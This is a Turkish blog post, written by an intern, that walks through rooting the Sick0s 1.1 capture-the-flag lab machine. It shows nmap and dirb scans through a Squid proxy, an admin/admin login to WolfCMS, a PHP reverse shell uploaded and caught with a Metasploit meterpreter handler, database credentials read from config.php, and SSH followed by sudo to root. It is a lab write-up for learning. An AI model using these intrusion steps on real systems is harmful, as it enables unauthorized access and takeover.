Sick0s 1.1 Çözümü
- İbrahim Mert COŞKUN
- Jul 23, 2019
- 5 min read
Selamlar. Bu yazıda Bg-Tek Bilgi güvenliği şirketinde staj yaptığım süre boyunca "Sick0s" zafiyetli makinesinde root olunarak yetkiyi nasıl ele aldığımı anlatan bir döküman olacaktır. Test sonucunda makinede root yetkisi alınmış olup test sonucunda bir rapor hazırlanılması istenilmiştir. Bu yazıda da rapor detaylı bir şekilde anlatılacaktır...
Olayların gelişmesi
İsminin verilmesini istemediği bir şirket çalışanı olan, bizden sorumlu, her sorumuza soruyla karşılık veren "Siber Güvenlik Danışmanı"mız sabahtan bir iş vericem size diyerek sinyali vermişti zaten. Öğlen arasından sonra makineyi "192.168.101.168" adresinde açtı ve CTF başlamış oldu.
Adresi ziyaret ettiğimiz zaman karşımıza herhangi bir şey gelmiyordu. Ne bir arayüz ne de herhangi bir görünüm. Baktık ki buradan herhangi bir çıkış yok direk "nmap" ile hedefi taramaya başladık...
nmap -sV -Pn 192.168.101.118 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-22 15:08 +03 Nmap scan report for 192.168.101.118 Host is up (0.0024s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0) 3128/tcp open http-proxy Squid http proxy 3.1.19 8080/tcp closed http-proxy Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds
8080 nolu port kapalı ve http sunucu çalıştığını görüyoruz ,22 nolu açık ve portda ssh , 3128 nolu açık ve portda Squid proxy çalışıyor. Buna göre “3128” nolu porttan ilerlememiz gerekiyor. Ufak bir araştırmadan sonra “Squid Proxy” ile ilgili bilgi sahibi oluyoruz: *Squid Proxy ile web sayfalarını “Proxy Cache” yaparak internete çıkışı filtreler ve böylece kullanıcı girişlerini engelleyebilmeye yarar.
Buradan çıkan bilgiyi cebimize koyuyoruz ve devam ediyoruz. Bu süreden sonra genel de CTF'lerden alışık olduğumuz ve artık ezbere olan "curl" aracını elimiz yazıyor. Ancak az önce cebimizde ki bilgiyi unutmuyoruz. Neydi bu bilgi? Squid Proxy çalışması. Normal olarak erişemiyoruz. O zaman bir şeyler görmek için kendi bağlantımızı "Squid Proxy" üzerinden geçirmemiz gerekiyor. O yüzden "curl"un --proxy parametresini kullanarak taramamızı başlatalım;
─[✗]─[mert@parrot]─[~]

└──╼ $curl --proxy 192.168.101.118:3128 http://192.168.101.118:80 <h1> Yaptım Mami Hadi Eyw </h1>
Benden hızlılar da var :) Güzel şakaymış kardeş. curl ile göründüğü üzere tarama yaptığımızda karşımıza hiç bir şey çıkmadı. Buradan da elimiz boş dönünce dizinleri taramaya başlıyoruz hemen;
dirb http://192.168.101.118 -p 192.168.101.118:3128
----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Mon Jul 22 14:01:31 2019 URL_BASE: http://192.168.101.118/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt PROXY: 192.168.101.118:3128
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.101.118/ ---- + http://192.168.101.118/cgi-bin/ (CODE:403|SIZE:291) + http://192.168.101.118/connect (CODE:200|SIZE:109) + http://192.168.101.118/index (CODE:200|SIZE:21) + http://192.168.101.118/index.php (CODE:200|SIZE:21) + http://192.168.101.118/robots (CODE:200|SIZE:45) + http://192.168.101.118/robots.txt (CODE:200|SIZE:45) + http://192.168.101.118/server-status (CODE:403|SIZE:296)
Çıktı sonucuna göre "robots.txt" dosyasını görüyoruz ve koşuyoruz firefox'a. Firefox'da gerekli proxy ayarlarını yaptıktan sonra robots.txt dosyasına ulaşıyoruz ve karşımıza bir ipucu geliyor.

Dosyaya baktığımız zaman "/wolfcms" dizinine izin verilmediğini görüyoruz. İşimiz gereği nerede bir yasak var ise oraya çomak sokmayı sevdiğimiz için direk gidiyoruz adrese; "192.168.101.118/wolfcms"

Çok baktım ama ne yazık ki URL'nin ekran görüntüsünü alamadım, bulamadım. Bu kısımda kaç dakika geçirdim bilmiyorum. SQL veya LFI, RFI gibi işime yarayacak şeyleri bulmaya çalışıyorum ama bulamadım. Temiz bi 30 dakika harcamışımdır. Kaynak kodlarına bile baktım ama bir şey bulamadım. Daha sonra böyle bir alamet geldi ve bir şey farkettim (Bu fark edişte Mustafa Yalçın hocaya teşekkür ediyorum. Hacktrick de verdiği bilgi sayesinde bunu fark edebildim) Dizinler arasında dolaşırken “http://192.168.101.118/wolfcms/?about-us.html” ve “http://192.168.101.118/wolfcms/?articles.html” gibi sadece URL kısmına odaklandım. Dizinlerde dolaşırken sadece "/?/" kısımdan sonrası değişiyordu. Tekrardan "dirb" aracına döndüm. Ancak bu sefer klasik bir tarama yerine farklı bir şekilde tarama yaptım;
┌─[mert@parrot]─[~] └──╼ $dirb 'http://192.168.101.118/wolfcms/?/' -p http://192.168.101.118:3128
----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Mon Jul 22 14:05:02 2019 URL_BASE: http://192.168.101.118/wolfcms/?/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt PROXY: http://192.168.101.118:3128
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.101.118/wolfcms/?/ ---- + http://192.168.101.118/wolfcms/?/0 (CODE:200|SIZE:3725) + http://192.168.101.118/wolfcms/?/about-us (CODE:200|SIZE:3317) + http://192.168.101.118/wolfcms/?/admin (CODE:302|SIZE:0) + http://192.168.101.118/wolfcms/?/articles (CODE:200|SIZE:3507) + http://192.168.101.118/wolfcms/?/Articles (CODE:200|SIZE:3507) + http://192.168.101.118/wolfcms/?/html (CODE:200|SIZE:3975) + http://192.168.101.118/wolfcms/?/HTML (CODE:200|SIZE:3975) + http://192.168.101.118/wolfcms/?/jhtml (CODE:200|SIZE:3975) ^C> Testing: http://192.168.101.118/wolfcms/?/pgp
Uzun süren bir tarama sonucunda gözüme "/wolfcms/?/admin" dizini gözüme çarpıyor. Ancak bir yönlendirme var (302 kodu). Bu ne yönlendirmesi hakkında en ufak bir bilgim yok. Bir hata yönlendirmesi de olabilir veya bir bilgilendirme de olabilir. "http://192.168.101.118/wolfcms/?/admin/login" sayfasına gidiyorum ve karşımıza bir login sayfası geliyor.

Başlarda korktum. Bir de "brute force ile mi uğraşacağız" diye hayıflandım. Tam "brute force"a başlayacaktım ki belki klasik denemeler ile giriş yapabilirim diye düşündüm. Username:Admin Password: Admin ve bingo. Giriş başarılı. İçerideyim Houston...

Sisteme giriş yapar yapmaz direk "files" kısmına geliyoruz. Ekranı görünce "aha shell yükleyem de çalıştıram" diye düşündüm ve düştüm msfvenom'a. İlk dosya olarak gözüken "dosya.php" isimli bir shell oluşturuyorum. Ama ne hikmetse meterpreter oturumu bir türlü önüme düşmüyor. Bundan direk vazgeçip hazır bir shell buluyorum internetten ve onu atıyorum bu sefer. Şimdi sıra exploit işleminde;
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.101.118 LHOST => 192.168.101.118 msf5 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description ---- --------------- -------- -----------
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.101.118 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
Gerekli ayarlamaları yaptığımız zaman exploit ediyoruz;
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
Şu an dinlemekteyiz. Dosyaların bulunduğu dizin "Public" olarak gösteriliyor. Geçiyoruz public dizinine;

Dosyalarımız burada. Shell'i aktif hale getiriyoruz ve oturum önümüze düşüyor...

Ne var ne yok diye bakıyoruz. /var/www/wolfcms'nin altında hemen gözümüze tatlı bir dosya çarpıyor; "config.php" Dosyayı okuyalım;

Dosya içerisinde Veritabanına ait bilgiler yer almakta. Buradan "DB_USER" ve "DB_PASS" kısımlarını alıyoruz ve cebe koyuyoruz. Sistemde aramaya devam. Çünkü henüz root olmadık. Daha neler var neler yok diye göz gezdiriyoruz. Ama burada yine kitlendim. Ne yapacağımı bilemedim. Bi 5 dakika kaldım ve daha sonra /etc/passwd dosyasına gitmek aklıma geldi ve dizine doğru gittim;

Al işte. Bi tıkandığım noktada bu. Buraya kadar bir kaç kez takılsamda hızlı geldiğimi düşünüyorum. Bi 30 dakika da burada bekledim. "Olum ben buradan ne elde edeceğim" diyerek düşündüm durdum. Ve sonradan bir alamet geldi. En başta bir "nmap" taraması yapmıştım. Geri gittim ve "Nmap taramasında ssh açıktı abi? Ee o zaman ne duruyorsun. Yürüsene abi ssh'dan" diyerek koşa koşa ssh bağlantısı kurmak için koştum...
┌─[mert@parrot]─[~] └──╼ $ssh sickos@192.168.101.118 sickos@192.168.101.118's password: Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon Jul 22 19:58:38 IST 2019
System load: 0.0 Processes: 114 Usage of /: 4.2% of 28.42GB Users logged in: 0 Memory usage: 15% IP address for eth0: 192.168.101.118 Swap usage: 0%
Graph this data and manage this system at: https://landscape.canonical.com/
178 packages can be updated. 145 updates are security updates.
New release '14.04.3 LTS' available. Run 'do-release-upgrade' to upgrade to it.
Last login: Mon Jul 22 18:22:52 2019 from 192.168.101.161 sickos@SickOs:~$ id uid=1000(sickos) gid=1000(sickos) groups=1000(sickos),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) sickos@SickOs:~$
SSH kullanıcı adı olarak "sickos" ve password olarak da "config.php" dosyasından elde ettiğim "john@123"ü giriyorum. Root olup olmadığıma bakıyorum ama nerede direk bizi root olarak alan makinalar. Zaten sorduğumuz zaman da "PERMISSION DENIED" ifadesi suratımıza tokat gibi çarpıyor.
Elim direk "sudo su" komutuna gidiyor. Alttan alttan da bir korku var "elimde başka password yok. İnşallah girdiğim password olur. Yoksa bir de burada uğraşmayalım" diyerek şifreyi giriyoruz ve root oluyoruz.
sickos@SickOs:~$ sudo su [sudo] password for sickos: root@SickOs:/home/sickos# ls root@SickOs:/home/sickos# cd root@SickOs:~# ls a0216ea4d51874464078c618298b1367.txt root@SickOs:~# cat a0216ea4d51874464078c618298b1367.txt If you are viewing this!!
ROOT!
You have Succesfully completed SickOS1.1. Thanks for Trying
root@SickOs:~#
Ve o güzel mesaj. Makina da başarıyla root olduk. Böylelikle işlem de tamamlanmış oldu...
Comments